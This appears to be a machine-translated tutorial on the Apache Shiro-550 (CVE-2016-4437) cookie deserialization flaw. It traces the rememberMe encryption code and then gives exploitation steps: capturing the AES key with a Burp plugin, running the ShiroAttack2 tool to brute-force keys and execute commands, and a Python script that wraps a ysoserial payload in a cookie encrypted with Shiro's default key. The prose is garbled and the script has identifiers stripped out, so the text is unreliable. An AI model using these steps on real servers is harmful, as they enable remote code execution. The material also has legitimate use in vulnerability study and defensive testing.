- Vulnerability Principles
-
source code analysis
- encryption process
- decryption process
- lit. loophole is reproduced
Vulnerability Principles
Shiro-550 (CVE-2016-4437) Deserialization Vulnerability
When debugging the cookie encryption process, we found that the developer hardcoded the key used by AES-CBC for encryption, and so we could carefully construct a malicious payload to replace the cookie after we got the key, and then let the backend deserialize our malicious payload when decrypting it in the end to cause an attack.
Note: To understand the root cause of the vulnerability is mainly to know the root cause is because the key is written dead in the source code, resulting in collision key or directly use the default key, the latter is the deserialization vulnerability.
source code analysis
encryption process
Convention: Assuming the incoming username is root
1. entrance in:onSuccessfulLogin
function (math.)
2. Then look below there is an if judgment isisRememberMe
To determine whether RememberMe is checked, we need to check it in order to be able to carry out the attack, and you can see that the return of true into the if will be executed after therememberIdentity
function, so here's where the vulnerability profiling officially begins.
3. Follow-uprememberIdentity
function, you will find that he will use your login information to generate a PrincipalCollection object
(Note that the username you entered here is root)
Note that we need to follow up hererememberIdentity
in therememberIdentity
function (math.)
Once inside you'll find two functions, the two main branches here:
convertPrincipalsToBytes
rememberSerializedIdentity
Note: We start by trackingconvertPrincipalsToBytes
, but don't forget that the next line after the function ends has to perform therememberSerializedIdentity
。
4. Then follow upconvertPrincipalsToBytes
It is found that here is a serialization function for the username root first, and then if it is established, it will go into theencrypt
encryption, then those two points speak to the heart of the whole vulnerability.
Serialization + Encryption
However, if we want to attack, we need to further understand how to encrypt, then attack the serialization on the corresponding code can be written, but theThe encryption process is something we need to know,Better yet, get his key.
5. Then it must be followed upserialize
function, there's not much to see when you go back in, just know that he's performing a serialization process on the username.
6. Then it's time to go back and look at theconvertPrincipalsToBytes
function, when serialization is complete there is agetCipherService
function that is used to get the encryption method.
It is important here that the if judgment and the cryptographic function inside the if follow up to get the powerful information.
7. Commencement of follow-upgetCipherService
function (math.)
Opening lightning strike, +1 for important information.
You can hover to see his encryption method AES-CBC mode
8. After judging the success of finding the encryption mode, the next step is to enter the if inside theencrypt
It's encrypted.
Followed up and realized there was an IF done before the encryption was started, the IF must have gotten in, just got the encryption pattern
9. Here, according to the execution priority, follow up firstgetEncryptionCipherKey
methodologies
this onegetEncryptionCipherKey
It's the best of the best. Get the encryption key and find out what's going on.
Returns directly to theencryptionCipherKey
If the encryption key is him, then surely we need to find his setter method, but here I decided not to go deeper, because we already know that the method is to get the encryption key.
Eventually you will find the encryption key asDEFAULT_CIPHER_KEY_BYTES
(be) worth
10. The book continues from the previous pagegetEncryptionCipherKey
Getting the encryption key was successful, and then it was the turn of theencrypt
Encrypted, but I won't follow up on that here, since the encryption method and key are already known.
11. Exit followed byrememberSerializedIdentity
I don't know if I remembered that.convertPrincipalsToBytes
After the function exits don't forget torememberSerializedIdentity
12. Follow-uprememberSerializedIdentity
function (math.)
Ignore all that's in there and go straight to the important information, which is the rightconvertPrincipalsToBytes
The bytes returned by the function are encoded again, base64 encryption is used here, and then the final base64 encryption is set to the rememberMe field of the user's cookie.
-
Encryption Summary:
Serializing cookies
↓
AES-CBC encryption (key can be obtained by collision/use common default key)
↓
base64 encryption
↓
Complete encryption, set cookie field
decryption process
The decryption process is really just the opposite of encryption above, and I prefer to think that understanding vulnerabilities through encryption is more insightful, so the decryption process is:
-
decryption summary:
hacker passes in a malicious payload to be placed in the cookie's rememberMe field
↓
Server-side base64 decryption
↓
Server-side AES-CBC decryption (keys can be obtained by collision/use common default keys)
↓
Server-side Deserialized data (successful attack)
Then in fact the ultimate want is to obtain the secret key and generate malicious payload, these two points in the following vulnerability replication to expand.
lit. loophole is reproduced
1. Grab the encryption key
It can be obtained passively via the burpsuite plugin installation
/pmiaowu/BurpShiroPassiveScan/releases
Once the plugin is installed, you can grab the square packets and see what happens.
Finally, you'll be able to see the captured key at the target.
2. Generate payload to attack
Here's a straightforward step-by-step guide to using the integration tools.
I was thinking of using ysoserial, but it's problematic and cumbersome to use.
It is recommended to use this tool to come fast:
/SummerSec/ShiroAttack2/releases
The usage is also simple, run the jar package command:java -jar shiro_attack-4.7.
Just put your url on the target address
First, click on the burst key, and the display log will print: key found.
Then just click on Blast Utilization Chain.
Then we come to the command execution where we execute random commands.
You can also add more keys to the dictionary, which is in the data directory.
The following method of generating payload can be seen but not seen, if you know ysoserial very well use the following one, indeed ysoserial is very strong, is more trouble.
There are ready-made scripts on the web, change it to your own dnslog domain name
(I only tested dnslog with this script and it was successful)
This method has the disadvantage of needing your current directory to have, at the same time I tried other gadget have failed to execute the command, I do not know where the error or how to suggest that there is no need to modify other things, only modify the dnslog domain name to get to the payload, put the cookie where the packet is sent to the past to detect the existence of vulnerabilities can be.
Please download the jar package and put it in the same script directory in order to use the following script:/frohoff/ysoserial/
Then run the script
Get the payload.
Then put it in a cookie.Remember to put it in a cookie., because deserialization is deserialization via cookies.
Then check the dnslog and you'll see that the trigger was successful!
Below is the script source code, never forget that the script has to be in the current directory in order to run it.
import base64
import uuid
import subprocess
from import AES
def rememberme(command):
# popen = (['java', '-jar', 'ysoserial-0.0.', 'URLDNS', command], stdout=)
popen = (['java', '-jar', '', 'URLDNS', command],
stdout=)
# popen = (['java', '-jar', 'ysoserial-0.0.', 'JRMPClient', command], stdout=)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = (base64.b64decode(key), mode, iv)
file_body = pad(())
base64_ciphertext = base64.b64encode(iv + (file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('')
payload = rememberme('')
with open("./", "w") as fpw:
print("rememberMe={}".format(()))
res = "rememberMe={}".format(())
(res)
Reference Article:
/t/11633
/post/id/225442
/z2n3/p/